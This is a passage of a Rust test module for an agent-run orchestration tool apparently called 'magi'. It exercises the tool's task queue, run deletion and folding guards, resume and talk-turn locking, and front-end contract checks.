17804 let temp = TempDir::new().expect("tempdir");
17805 let runs = temp.path().join("runs");
17806 std::fs::create_dir_all(&runs).expect("create runs dir");
17807
17808 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
17809
17810 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
17811 std::thread::sleep(Duration::from_millis(10));
17812 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
17813
17814 let rev_before = runs_revision(&runs);
17815 assert!(rev_before > 0);
17816
17817 let old_dir = runs.join("20260901-100000-old1");
17818 std::fs::remove_dir_all(&old_dir).expect("remove old run");
17819
17820 let rev_after = runs_revision(&runs);
17821 assert_ne!(
17822 rev_before, rev_after,
17823 "deleting an older run must change the revision so other clients see the deletion"
17824 );
17825 }
17826
17827 fn write_state(runs: &FsPath, state: &RunState) {
17832 let dir = runs.join(&state.id);
17833 std::fs::create_dir_all(&dir).expect("run dir");
17834 std::fs::write(
17835 dir.join("run.json"),
17836 serde_json::to_string_pretty(state).expect("serialize run"),
17837 )
17838 .expect("write run.json");
17839 }
17840
17841 #[test]
17846 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
17847 let temp = TempDir::new().expect("tempdir");
17848 let runs = temp.path().join("runs");
17849 std::fs::create_dir_all(&runs).expect("create runs dir");
17850 let mut state = RunState::new(
17851 PathBuf::from("/repo/magi"),
17852 "main".to_owned(),
17853 "0123456789abcdef".to_owned(),
17854 "task".to_owned(),
17855 Config::default(),
17856 );
17857 state.id = "20260902-100000-c0de".to_owned();
17858 write_state(&runs, &state);
17859
17860 let rev_idle = runs_revision(&runs);
17861 std::thread::sleep(Duration::from_millis(10));
17862 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
17863 write_state(&runs, &state);
17864 let rev_started = runs_revision(&runs);
17865 assert_ne!(
17866 rev_idle, rev_started,
17867 "a seat starting must move the revision"
17868 );
17869
17870 std::thread::sleep(Duration::from_millis(10));
17871 state.seat_finished("judge-1");
17872 write_state(&runs, &state);
17873 let rev_finished = runs_revision(&runs);
17874 assert_ne!(
17875 rev_started, rev_finished,
17876 "and clearing it again must move the revision a second time"
17877 );
17878 }
17879
17880 #[tokio::test]
17881 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
17882 let fx = Fixture::start().await;
17887 let q = fx.queue();
17888
17889 let mut t = Task::new(
17890 "Task".to_owned(),
17891 "Instruction".to_owned(),
17892 PathBuf::from("/repo"),
17893 Source::Human,
17894 );
17895 t.block(
17896 vec!["20260101-000000-dead".to_owned()],
17897 Some("waiting on Task 1".to_owned()),
17898 );
17899 t.answers.push(crate::queue::AnsweredQuestion {
17900 question: "Which backend?".to_owned(),
17901 answer: "SQLite".to_owned(),
17902 });
17903 q.put(&mut t).expect("put t");
17904
17905 let res = fx.get("/api/queue").await;
17906 assert_eq!(res.status, 200);
17907 let list = res.json();
17908 let view = list
17909 .as_array()
17910 .expect("array")
17911 .iter()
17912 .find(|v| v["id"] == t.id)
17913 .expect("task in list");
17914 assert_eq!(view["status_str"], "blocked");
17915 assert_eq!(
17916 view["blocked_by"],
17917 serde_json::json!(["20260101-000000-dead"])
17918 );
17919 assert_eq!(view["block_reason"], "waiting on Task 1");
17920 assert_eq!(view["answers"][0]["question"], "Which backend?");
17921 assert_eq!(view["answers"][0]["answer"], "SQLite");
17922
17923 let res = fx
17927 .post(&format!("/api/queue/{}/hold", t.short()), None)
17928 .await;
17929 assert_eq!(res.status, 200);
17930 let held = res.json();
17931 assert_eq!(held["status_str"], "held");
17932 assert_eq!(held["blocked_by"], serde_json::json!([]));
17933 assert!(held["block_reason"].is_null());
17934 assert_eq!(held["answers"][0]["answer"], "SQLite");
17935 }
17936
17937 #[tokio::test]
17938 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
17939 let fx = Fixture::start().await;
17940 let q = fx.queue();
17941 let mk = |title: &str| {
17942 Task::new(
17943 title.to_owned(),
17944 "Instruction".to_owned(),
17945 PathBuf::from("/repo"),
17946 Source::Human,
17947 )
17948 };
17949 let mut root = mk("root");
17950 root.hold_manual(Some("waiting".to_owned()));
17951 q.put(&mut root).unwrap();
17952 let mut mid = mk("mid");
17953 mid.block(vec![root.id.clone()], None);
17954 q.put(&mut mid).unwrap();
17955 let mut leaf = mk("leaf");
17956 leaf.block(vec![mid.id.clone()], None);
17957 q.put(&mut leaf).unwrap();
17958
17959 let list = fx.get("/api/queue").await.json();
17960 let find = |id: &str| {
17961 list.as_array()
17962 .unwrap()
17963 .iter()
17964 .find(|v| v["id"] == id)
17965 .unwrap()
17966 .clone()
17967 };
17968 let leaf_view = find(&leaf.id);
17969 assert_eq!(
17970 leaf_view["waits_on"],
17971 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
17972 );
17973 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
17974 assert_eq!(
17975 find(&mid.id)["waits_on"],
17976 serde_json::json!([format!("{} (held)", root.short())])
17977 );
17978 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
17979 }
17980
17981 #[tokio::test]
17982 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
17983 let fx = Fixture::start().await;
17984 let q = fx.queue();
17985
17986 let mut t1 = Task::new(
17988 "Task 1".to_owned(),
17989 "Instruction 1".to_owned(),
17990 PathBuf::from("/repo"),
17991 Source::Human,
17992 );
17993 let run_id = "20260901-000000-r111";
17994 t1.runs.push(run_id.to_owned());
17995 write_run(&fx.runs(), run_id, RunStatus::Merged);
17996 q.put(&mut t1).expect("put t1");
17997
17998 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
18000 assert_eq!(res.status, 204);
18001 assert!(res.body.is_empty(), "204 No Content has no body");
18002 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
18003 assert!(
18004 fx.runs().join(run_id).exists(),
18005 "run directory must not be deleted when its task is deleted"
18006 );
18007
18008 let mut t2 = Task::new(
18010 "Task 2".to_owned(),
18011 "Instruction 2".to_owned(),
18012 PathBuf::from("/repo"),
18013 Source::Human,
18014 );
18015 t2.status = TaskStatus::Running;
18016 q.put(&mut t2).expect("put t2");
18017 let mut beat = crate::daemon::Status::new();
18018 beat.current = vec![crate::daemon::Current {
18019 task: t2.id.clone(),
18020 run: "20260901-000000-r222".to_owned(),
18021 }];
18022 beat.updated_at = jiff::Timestamp::now();
18023 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18024 .expect("publish a heartbeat");
18025 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
18026 assert_eq!(res.status, 409);
18027 assert!(
18028 res.json()["error"]
18029 .as_str()
18030 .unwrap()
18031 .contains("live daemon")
18032 );
18033 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
18034
18035 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
18041 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18042 .expect("leave a stale heartbeat");
18043 let mut t3 = Task::new(
18044 "Task 3".to_owned(),
18045 "Instruction 3".to_owned(),
18046 PathBuf::from("/repo"),
18047 Source::Human,
18048 );
18049 t3.status = TaskStatus::Running;
18050 q.put(&mut t3).expect("put t3");
18051 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
18052 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
18053 assert_eq!(res.status, 204);
18054 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
18055 assert!(
18056 q.claim(&t3.id).is_ok(),
18057 "the stale lock went with it, so the id is claimable again"
18058 );
18059
18060 let res = fx.delete("/api/queue/nonexistent").await;
18062 assert_eq!(res.status, 404);
18063 }
18064
18065 #[tokio::test]
18066 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
18067 let fx = Fixture::start().await;
18068 let runs = fx.runs();
18069
18070 let run_id = "20260901-000000-fold";
18072 let mut state = RunState::new(
18073 PathBuf::from("/repo"),
18074 "main".to_owned(),
18075 "abc".to_owned(),
18076 "instruction".to_owned(),
18077 Config::default(),
18078 );
18079 state.id = run_id.to_owned();
18080 state.status = RunStatus::Merged;
18081 state.candidates.push(crate::run::Candidate {
18082 index: 0,
18083 label: 'A',
18084 agent: "a".to_owned(),
18085 branch: "b".to_owned(),
18086 worktree: PathBuf::from("/w"),
18087 summary: String::new(),
18088 stat: String::new(),
18089 files: 1,
18090 commits: 1,
18091 empty: false,
18092 failed: None,
18093 verified_noop: None,
18094 duration_ms: 0,
18095 folded: true,
18096 });
18097 let dir = runs.join(run_id);
18098 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
18099 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
18100 .expect("write artifact");
18101 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
18102 .expect("write run.json");
18103
18104 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
18106 assert_eq!(res.status, 204);
18107 assert!(res.body.is_empty(), "204 has no body");
18108 assert!(!dir.exists(), "run directory and artifacts must be deleted");
18109
18110 let run_running = "20260901-000000-rung";
18115 write_run(&runs, run_running, RunStatus::Prep);
18116 let mut beat = crate::daemon::Status::new();
18117 beat.current = vec![crate::daemon::Current {
18118 task: "20260901-000000-task".to_owned(),
18119 run: run_running.to_owned(),
18120 }];
18121 beat.updated_at = jiff::Timestamp::now();
18122 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18123 .expect("publish a heartbeat");
18124 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
18125 assert_eq!(res.status, 409);
18126 assert!(
18127 res.json()["error"]
18128 .as_str()
18129 .unwrap()
18130 .contains("live daemon"),
18131 "the refusal must say who is holding it"
18132 );
18133 assert!(
18134 runs.join(run_running).exists(),
18135 "a run in flight keeps its directory"
18136 );
18137
18138 let run_unfolded = "20260901-000000-unfd";
18140 let mut state2 = RunState::new(
18141 PathBuf::from("/repo"),
18142 "main".to_owned(),
18143 "abc".to_owned(),
18144 "instruction".to_owned(),
18145 Config::default(),
18146 );
18147 state2.id = run_unfolded.to_owned();
18148 state2.status = RunStatus::Ready;
18149 state2.candidates.push(crate::run::Candidate {
18150 index: 0,
18151 label: 'A',
18152 agent: "a".to_owned(),
18153 branch: "b".to_owned(),
18154 worktree: PathBuf::from("/w"),
18155 summary: String::new(),
18156 stat: String::new(),
18157 files: 1,
18158 commits: 1,
18159 empty: false,
18160 failed: None,
18161 verified_noop: None,
18162 duration_ms: 0,
18163 folded: false,
18164 });
18165 let dir2 = runs.join(run_unfolded);
18166 std::fs::create_dir_all(&dir2).expect("create dir2");
18167 std::fs::write(
18168 dir2.join("run.json"),
18169 serde_json::to_string(&state2).unwrap(),
18170 )
18171 .expect("write run.json");
18172
18173 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
18174 assert_eq!(res.status, 409);
18175 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
18176 assert!(dir2.exists(), "unfolded run directory is kept");
18177
18178 let res = fx.delete("/api/runs/nonexistent").await;
18180 assert_eq!(res.status, 404);
18181 }
18182
18183 #[test]
18192 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
18193 let start = APP_JS
18194 .find("function renderStats() {")
18195 .expect("renderStats");
18196 let end = start
18197 + APP_JS[start..]
18198 .find("function statsTile(")
18199 .expect("the next top-level function");
18200 let body = &APP_JS[start..end];
18201
18202 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
18203 let gate_end = gate_start
18204 + body[gate_start..]
18205 .find("}\n renderStatsQueue")
18206 .expect("the gate's own closing brace, right before the unconditional call");
18207 let gated = &body[gate_start..gate_end];
18208
18209 assert_eq!(
18210 body.matches("renderStatsQueue(").count(),
18211 1,
18212 "renderStats must call renderStatsQueue exactly once: {body}"
18213 );
18214 assert!(
18215 !gated.contains("renderStatsQueue"),
18216 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
18217 run-derived panels on an empty run history - the queue panel has to render \
18218 regardless: {gated}"
18219 );
18220 }
18221
18222 #[test]
18223 fn web_ui_delete_contract_in_front_end() {
18224 assert!(APP_JS.contains("deleteRun:"));
18226 assert!(APP_JS.contains("deleteTask:"));
18227
18228 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
18230 ..APP_JS.find("function renderRuns").unwrap()];
18231 assert!(!run_cards_slice.to_lowercase().contains("delete"));
18232
18233 assert!(APP_JS.contains("renderRunDelete"));
18235 assert!(APP_JS.contains("runDeleteReason"));
18236 assert!(APP_JS.contains("magi fold"));
18237 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
18238
18239 assert!(APP_JS.contains("cancel.focus"));
18241 assert!(APP_JS.contains("armedRunDelete"));
18242 assert!(APP_JS.contains("renderTaskDeleteBox"));
18243 assert!(APP_JS.contains("armed${cap(key)}"));
18244
18245 assert!(APP_JS.contains("disabled: status === \"running\""));
18247 }
18248
18249 #[test]
18269 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
18270 let build = APP_JS
18271 .find("function createRunCard")
18272 .expect("createRunCard exists");
18273 let update = APP_JS
18274 .find("function updateRunCard")
18275 .expect("updateRunCard exists");
18276 let end = APP_JS
18277 .find("function renderRuns")
18278 .expect("renderRuns exists");
18279
18280 let builder = &APP_JS[build..update];
18282 let open = builder.find("refs = {").expect("createRunCard sets refs");
18283 let literal = &builder[open + "refs = {".len()..];
18284 let close = literal.find('}').expect("the refs literal is closed");
18285 let published: HashSet<&str> = literal[..close]
18286 .split(',')
18287 .filter_map(|entry| entry.split(':').next())
18289 .map(str::trim)
18290 .filter(|name| !name.is_empty())
18291 .collect();
18292 assert!(
18293 published.len() > 5,
18294 "the refs literal did not parse into names: {published:?}"
18295 );
18296
18297 let mut used: Vec<&str> = Vec::new();
18300 let updaters = &APP_JS[update..end];
18301 for (at, _) in updaters.match_indices("r.") {
18302 let before = updaters[..at].chars().next_back();
18305 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
18306 continue;
18307 }
18308 let rest = &updaters[at + 2..];
18309 let len = rest
18310 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
18311 .unwrap_or(rest.len());
18312 if len > 0 {
18313 used.push(&rest[..len]);
18314 }
18315 }
18316 assert!(
18317 used.len() > 5,
18318 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
18319 );
18320
18321 let missing: Vec<&str> = used
18322 .iter()
18323 .copied()
18324 .filter(|name| !published.contains(name))
18325 .collect();
18326 assert!(
18327 missing.is_empty(),
18328 "a run card's updater reaches for {missing:?}, which `createRunCard` \
18329 never put in `refs` - every card will throw and the list will \
18330 render empty under a count line that says otherwise. Published: \
18331 {published:?}"
18332 );
18333 }
18334
18335 #[tokio::test]
18336 async fn folding_from_the_phone_reports_what_it_removed() {
18337 let fx = Fixture::start().await;
18338 let runs = fx.runs();
18339
18340 let id = "20260901-000000-fold";
18344 write_run(&runs, id, RunStatus::Stalled);
18345 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18346 assert_eq!(res.status, 200);
18347 assert_eq!(res.json()["removed_count"], 0);
18348 assert_eq!(res.json()["run"], id);
18349 assert!(
18350 runs.join(id).exists(),
18351 "a fold keeps the run's record; only the worktrees go"
18352 );
18353 }
18354
18355 #[tokio::test]
18356 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
18357 let fx = Fixture::start().await;
18358 let runs = fx.runs();
18359 let wt = fx.home.path().join("wt").join("magi").join("dead");
18360 let id = "20260901-000000-dead";
18361 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18362 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18363 std::fs::create_dir_all(&wt).expect("worktree dir");
18364
18365 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18366 assert_eq!(res.status, 200, "{}", res.body);
18367 assert!(
18368 res.json()["removed_count"].as_u64().unwrap() > 0,
18369 "the worktree this build could not read a state for still went"
18370 );
18371 assert!(
18372 !runs.join(id).exists(),
18373 "an unreadable run has no candidate list to fold selectively, so \
18374 the whole record goes - same as `magi fold` on the CLI"
18375 );
18376 }
18377
18378 #[tokio::test]
18379 async fn deleting_an_unreadable_run_removes_it_wholesale() {
18380 let fx = Fixture::start().await;
18381 let runs = fx.runs();
18382 let wt = fx.home.path().join("wt").join("magi").join("gone");
18383 let id = "20260901-000000-gone";
18384 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18385 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18386 std::fs::create_dir_all(&wt).expect("worktree dir");
18387
18388 let res = fx.delete(&format!("/api/runs/{id}")).await;
18389 assert_eq!(res.status, 204, "{}", res.body);
18390 assert!(!runs.join(id).exists(), "the broken record is gone");
18391 assert!(!wt.exists(), "its worktree is gone too");
18392 }
18393
18394 #[tokio::test]
18395 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
18396 let fx = Fixture::start().await;
18397 let runs = fx.runs();
18398 let id = "20260901-000000-live";
18399 write_run(&runs, id, RunStatus::Implementing);
18400
18401 let mut beat = crate::daemon::Status::new();
18402 beat.current = vec![crate::daemon::Current {
18403 task: "20260901-000000-task".to_owned(),
18404 run: id.to_owned(),
18405 }];
18406 beat.updated_at = jiff::Timestamp::now();
18407 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18408 .expect("publish a heartbeat");
18409
18410 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18411 assert_eq!(res.status, 409);
18412 assert!(
18413 res.json()["error"]
18414 .as_str()
18415 .unwrap()
18416 .contains("live daemon"),
18417 "folding under a running agent would pull its worktree away"
18418 );
18419 }
18420
18421 #[tokio::test]
18422 async fn fold_merged_requires_a_pr_url() {
18423 let fx = Fixture::start().await;
18424 let runs = fx.runs();
18425 let id = "20260901-000000-nourl";
18426 write_run(&runs, id, RunStatus::Blocked);
18427
18428 let res = fx
18429 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
18430 .await;
18431 assert_eq!(res.status, 400, "{}", res.body);
18432
18433 let blank = fx
18434 .post(
18435 &format!("/api/runs/{id}/fold-merged"),
18436 Some(r#"{"pr_url":" "}"#),
18437 )
18438 .await;
18439 assert_eq!(blank.status, 400, "{}", blank.body);
18440 }
18441
18442 #[tokio::test]
18443 async fn fold_merged_is_404_for_an_unknown_run() {
18444 let fx = Fixture::start().await;
18445 let res = fx
18446 .post(
18447 "/api/runs/nosuchrun/fold-merged",
18448 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18449 )
18450 .await;
18451 assert_eq!(res.status, 404, "{}", res.body);
18452 }
18453
18454 #[tokio::test]
18455 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
18456 let fx = Fixture::start().await;
18457 let runs = fx.runs();
18458 let id = "20260901-000000-livemerge";
18459 write_run(&runs, id, RunStatus::Blocked);
18460
18461 let mut beat = crate::daemon::Status::new();
18462 beat.current = vec![crate::daemon::Current {
18463 task: "20260901-000000-task".to_owned(),
18464 run: id.to_owned(),
18465 }];
18466 beat.updated_at = jiff::Timestamp::now();
18467 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18468 .expect("publish a heartbeat");
18469
18470 let res = fx
18471 .post(
18472 &format!("/api/runs/{id}/fold-merged"),
18473 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18474 )
18475 .await;
18476 assert_eq!(res.status, 409, "{}", res.body);
18477 assert!(
18478 res.json()["error"]
18479 .as_str()
18480 .unwrap()
18481 .contains("live daemon"),
18482 "correcting a run's merge underneath a running agent would race \
18483 whatever it is doing to the same `status`/`merge` fields"
18484 );
18485 }
18486
18487 #[tokio::test]
18492 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
18493 let fx = Fixture::start().await;
18494 let runs = fx.runs();
18495 let id = "20260901-000000-unconfirmed";
18496 write_run(&runs, id, RunStatus::Blocked);
18497
18498 let res = fx
18499 .post(
18500 &format!("/api/runs/{id}/fold-merged"),
18501 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18502 )
18503 .await;
18504 assert_eq!(res.status, 400, "{}", res.body);
18505 assert_eq!(
18506 read_run(&runs, id).unwrap().status,
18507 RunStatus::Blocked,
18508 "a pull request that could not be confirmed merged must leave \
18509 the run exactly where it was"
18510 );
18511 }
18512
18513 #[tokio::test]
18514 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
18515 let fx = Fixture::start().await;
18516 let runs = fx.runs();
18517
18518 for (status, word) in [
18524 (RunStatus::Merged, "merged"),
18525 (RunStatus::Ready, "ready"),
18526 (RunStatus::Failed, "failed"),
18527 ] {
18528 let id = format!("20260901-000000-{}", &word[..4]);
18529 write_run(&runs, &id, status);
18530 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
18531 assert_eq!(res.status, 409, "{word} must not be resumable");
18532 let err = res.json()["error"].as_str().unwrap().to_owned();
18533 assert!(err.contains(word), "the refusal names the status: {err}");
18534 }
18535
18536 let mid = "20260901-000000-midf";
18541 write_run(&runs, mid, RunStatus::Reviewing);
18542 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
18543 assert_eq!(res.status, 202, "an interrupted run is resumable");
18544 }
18545
18546 #[tokio::test]
18547 async fn resume_is_refused_while_the_loop_is_running() {
18548 let fx = Fixture::start().await;
18549 let runs = fx.runs();
18550 let stalled = "20260901-000000-stal";
18551 write_run(&runs, stalled, RunStatus::Stalled);
18552
18553 let mut beat = crate::daemon::Status::new();
18557 beat.current = vec![crate::daemon::Current {
18558 task: "20260901-000000-task".to_owned(),
18559 run: "20260901-000000-othr".to_owned(),
18560 }];
18561 beat.updated_at = jiff::Timestamp::now();
18562 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18563 .expect("publish a heartbeat");
18564
18565 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
18566 assert_eq!(res.status, 409);
18567 let err = res.json()["error"].as_str().unwrap().to_owned();
18568 assert!(err.contains("othr"), "it names what the loop is on: {err}");
18569 assert!(err.contains("stop it first"), "{err}");
18570 }
18571
18572 #[test]
18573 fn a_run_cannot_be_resumed_twice_at_once() {
18574 let home = TempDir::new().expect("temp home");
18575 let ui = Ui::new(
18576 Queue::at(home.path().join("queue")),
18577 Questions::at(home.path().join("questions")),
18578 Talks::at(home.path().join("talks")),
18579 home.path().join("runs"),
18580 home.path().to_path_buf(),
18581 PathBuf::from("/repo"),
18582 )
18583 .with_worktrees_root(home.path().join("wt"));
18584 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
18585 let again = ui.begin_resume("20260901-000000-once");
18586 assert!(again.is_err(), "a second tap must not start a second graph");
18587 drop(first);
18588 assert!(
18589 ui.begin_resume("20260901-000000-once").is_ok(),
18590 "and the claim is released when the attempt ends"
18591 );
18592 }
18593
18594 #[test]
18595 fn talk_thinking_tracks_only_its_held_turn_claim() {
18596 let home = TempDir::new().expect("temp home");
18597 let ui = Ui::new(
18598 Queue::at(home.path().join("queue")),
18599 Questions::at(home.path().join("questions")),
18600 Talks::at(home.path().join("talks")),
18601 home.path().join("runs"),
18602 home.path().to_path_buf(),
18603 PathBuf::from("/repo"),
18604 )
18605 .with_worktrees_root(home.path().join("wt"));
18606 let id = "20260901-000000-once";
18607
18608 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
18609 let turn = ui.begin_talk_turn(id).expect("claim turn");
18610 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
18611 assert!(
18612 !ui.is_thinking("20260901-000000-other"),
18613 "one talk's turn does not make another talk busy"
18614 );
18615 drop(turn);
18616 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
18617 }
18618
18619 #[test]
18620 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
18621 let home = TempDir::new().expect("temp home");
18622 let talks = Talks::at(home.path().join("talks"));
18623 let ui = Ui::new(
18624 Queue::at(home.path().join("queue")),
18625 Questions::at(home.path().join("questions")),
18626 talks.clone(),
18627 home.path().join("runs"),
18628 home.path().to_path_buf(),
18629 PathBuf::from("/repo"),
18630 )
18631 .with_worktrees_root(home.path().join("wt"));
18632 let id = "20260901-000000-cross";
18633
18634 let other = Talks::at(home.path().join("talks"))
18635 .claim_turn(id)
18636 .expect("claim")
18637 .expect("the other process wins");
18638 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
18639 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
18640 assert!(
18641 matches!(
18642 ui.begin_talk_turn_unless_pending(id).expect("start"),
18643 TalkTurnStart::Foreign
18644 ),
18645 "a foreign holder is refused, not queued behind"
18646 );
18647 assert!(
18648 !ui.talk_turns.lock().unwrap().live.contains(id),
18649 "a refused claim leaves no in-process entry behind"
18650 );
18651 drop(other);
18652 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
18653 assert!(talks.turn_held(id), "the web turn holds the lease");
18654 drop(turn);
18655 assert!(
18656 !talks.turn_held(id),
18657 "dropping the guard releases the lease"
18658 );
18659 }
18660
18661 fn consult_question(ui: &Ui) -> Question {
18662 let mut q = Question::new(
18663 "20260901-000000-consult".to_owned(),
18664 "implement".to_owned(),
18665 "impl-A".to_owned(),
18666 "Which backend?".to_owned(),
18667 String::new(),
18668 vec!["SQLite".to_owned(), "Redis".to_owned()],
18669 );
18670 ui.questions.put(&mut q).expect("question");
18671 q
18672 }
18673
18674 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
18675 (
18676 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
18677 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
18678 )
18679 }
18680
18681 #[tokio::test]
18682 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
18683 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18684 let q = consult_question(&ui);
18685 let talk = ui.talks.get(&id).expect("talk");
18686 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
18687 let before = consult_snapshot(&ui, &q, &id);
18688 let cli_talks = Talks::at(ui.home.join("talks"));
18689 assert_eq!(
18690 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
18691 .await
18692 .expect("CLI starter"),
18693 crate::consult::Started::Busy
18694 );
18695 assert_eq!(consult_snapshot(&ui, &q, &id), before);
18696 assert!(ui.is_thinking(&id));
18697 drop(guard);
18698 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
18699 }
18700
18701 #[tokio::test]
18702 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
18703 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18704 let q = consult_question(&ui);
18705 let talk = ui.talks.get(&id).expect("talk");
18706 let started = tmp.path().join("started");
18707 let release = tmp.path().join("release");
18708 let script = tmp.path().join("consult-agent.sh");
18709 std::fs::write(
18710 &script,
18711 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
18712 )
18713 .expect("script");
18714 let mut cfg = stub_config();
18715 cfg.agents[0].id = "mock".to_owned();
18716 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
18717 cfg.agents[0].env = std::collections::BTreeMap::from([
18718 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
18719 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
18720 ]);
18721 let questions = ui.questions.clone();
18722 let cli_talks = Talks::at(ui.home.join("talks"));
18723 let cli_q = q.clone();
18724 let turn = tokio::spawn(async move {
18725 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
18726 });
18727 let ready = tokio::time::timeout(Duration::from_secs(30), async {
18728 while !started.exists() {
18729 tokio::time::sleep(Duration::from_millis(10)).await;
18730 }
18731 })
18732 .await;
18733 let refusal = if ready.is_ok() {
18736 let before = consult_snapshot(&ui, &q, &id);
18737 let result = talk_say(
18738 State(Arc::clone(&ui)),
18739 Path(id.clone()),
18740 Ok(Json(NewTalkTurn {
18741 reply_to: None,
18742 text: "another message".to_owned(),
18743 attachments: Vec::new(),
18744 })),
18745 )
18746 .await;
18747 Some((result, before, consult_snapshot(&ui, &q, &id)))
18748 } else {
18749 None
18750 };
18751 std::fs::write(&release, "").expect("release agent");
18752 let done = turn.await.expect("join CLI turn");
18753 ready.expect("agent started before deadline");
18754 let (result, before, after) = refusal.expect("web request");
18755 let error = result.expect_err("web must refuse the CLI's turn");
18756 assert_eq!(error.status, StatusCode::CONFLICT);
18757 assert!(error.message.contains("a turn is already running"));
18758 assert_eq!(
18759 after, before,
18760 "refusal preserves question, draft and history"
18761 );
18762 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
18763 let guard = ui
18764 .begin_talk_turn(&id)
18765 .expect("web claim")
18766 .expect("free again");
18767 drop(guard);
18768 }
18769
18770 #[test]
18771 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
18772 let home = TempDir::new().expect("temp home");
18773 let talks = Talks::at(home.path().join("talks"));
18774 let ui = Ui::new(
18775 Queue::at(home.path().join("queue")),
18776 Questions::at(home.path().join("questions")),
18777 talks.clone(),
18778 home.path().join("runs"),
18779 home.path().to_path_buf(),
18780 PathBuf::from("/repo"),
18781 )
18782 .with_worktrees_root(home.path().join("wt"));
18783 let id = "20260901-000000-order";
18784 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18785 let slots = ui.talk_turns.lock().unwrap();
18787 let dropper = std::thread::spawn(move || drop(turn));
18788 let start = std::time::Instant::now();
